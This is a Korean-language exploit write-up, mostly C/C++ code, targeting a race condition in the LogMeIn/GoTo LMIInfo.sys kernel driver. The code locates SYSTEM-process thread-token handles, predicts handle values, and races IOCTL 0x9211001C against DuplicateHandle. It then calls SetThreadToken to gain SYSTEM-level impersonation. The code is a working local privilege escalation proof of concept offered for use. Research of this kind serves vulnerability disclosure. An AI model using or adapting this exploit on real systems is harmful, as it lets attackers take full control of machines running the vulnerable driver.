
LogMeIn/GoTo Windows 커널 드라이버의 경쟁 조건(race condition)을 악용하여 SYSTEM 핸들을 복제하고, 스레드 토큰 가장(thread-token impersonation) 및 로컬 권한 상승을 가능하게 하는 익스플로잇입니다.
LogMeIn / GoTo RMM에서 제공하는 LMIInfo.sys 드라이버에는 SYSTEM 프로세스에서 임의의 핸들을 복제할 수 있는 경쟁 조건(race condition)이 존재합니다. 핵심 문제는 디바이스 개체에 대한 적절한 액세스 제어가 부족하고, 시스템 프로세스에서 사용자가 지정한 핸들을 복제하도록 한 명백히 잘못된 결정에 있습니다.
IOCTL: 0x9211001C
입력 버퍼:
// LMI-Common.cpp
typedef struct LMI_INFO {
DWORD64 qwPid;
DWORD64 reserved0;
DWORD64 handleValue;
DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;
디스패치:

취약 함수:

핸들 정보를 수집하고 문자열 처리를 수행할 때, ZwDuplicateObject/ZwClose 호출 사이에 호출 프로세스가 중복된 핸들을 다시 복제할 수 있습니다. 올바르게 수행되면 기본 복제 핸들이 닫힌 후에도 2차 복제 핸들이 유지됩니다.
버그를 안정적으로 트리거하려면 경쟁 조건을 유발하기 전에 프로세스에서 사용하는 모든 핸들을 만들어야 합니다. 대상 핸들은 다음 함수를 사용하여 시스템 프로세스에서 쿼리됩니다(예시로 스레드 토큰 사용):
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
HANDLE hHeap = GetProcessHeap();
LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
ULONG ulBytesReturned = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);
while (status == 0xC0000004) {
HeapFree(hHeap, 0, lpBuf);
lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
}
if (status) {
printf("Query for handles failed - %lx\n", status);
return INVALID_HANDLE_VALUE;
}
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;
for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
if (shtei.UniqueProcessId != 4) {
continue;
}
printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
return (HANDLE)shtei.HandleValue;
}
}
return INVALID_HANDLE_VALUE;
}
HANDLE 값이 4씩 증가하므로, HANDLE 개수를 구한 뒤 4를 더하여 기본 복제 핸들의 값을 계산합니다. 이에 따라 장치를 열고, 다음 핸들 값을 계산하기 전에 "경쟁" 스레드를 일시 중단된 상태로 만듭니다. 이 작업은 더 안정적이고 "정교한" 방식으로 수행할 수 있을 텐데, 아마 더 능숙한 독자의 연습 문제로 남겨둡니다 ㅋㅋ.
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
HANDLE highestHandle = 0;
UINT32 u32NumHandles = 0;
ULONG ulSizeReturned = 0;
NTSTATUS status = 0;
status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
if (!NT_SUCCESS(status)) {
return (HANDLE)-1;
}
return (HANDLE)((UINT64)++u32NumHandles * 4);
}
완료되면 경쟁 스레드가 재개되고 반복적인 IOCTL이 발행됩니다:
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
puts("Entered DupeThread");
if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
printf("Invalid device handle passed to thread : %lx\n", GetLastError());
return -1;
}
PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;
DWORD dwBytesReturned = 0;
LMI_INFO lmii = { 0 };
lmii.qwPid = 4;
lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know
if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
puts("Couldn't find a token handle in the system process??");
}
BOOL bRes = FALSE;
LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
if (!lpOutBuf) {
printf("HeapAlloc : %lx\n", GetLastError());
return -1;
}
while (Dti->Run) {
// call DeviceIoControl to start the race
bRes = DeviceIoControl(
Dti->hDevice,
IOCTL_DUPE_LEL,
&lmii,
sizeof(LMI_INFO),
lpOutBuf,
0x1000,
&dwBytesReturned,
NULL
);
}
}
경쟁 스레드의 설계 고려 사항은 다음과 같은 이유 때문입니다:
메인 스레드는 복제가 성공할 때까지 DuplicateHandle을 반복 호출하여 기본 복제 핸들을 복제하고, 전역 부울 값이 false로 설정되어 경쟁 스레드를 종료합니다. (네, 네 저도 압니다.)
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);
puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
printf("Error resuming dupe thread - %lx\n", GetLastError());
return -1;
}
while (!bRes) {
bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}
dti.Run = FALSE;
if (bRes) {
puts("ebin");
printf("%llx - target\n", hTarget);
printf("%llx - dup\n", hToken);
bRes = SetThreadToken(NULL, hToken);
if (!bRes) {
printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
}
else {
puts("Set the thread token!");
}
}
else {
printf("Failed to dupe token: %lx\n", GetLastError());
return -1;
}
getchar();
return 0;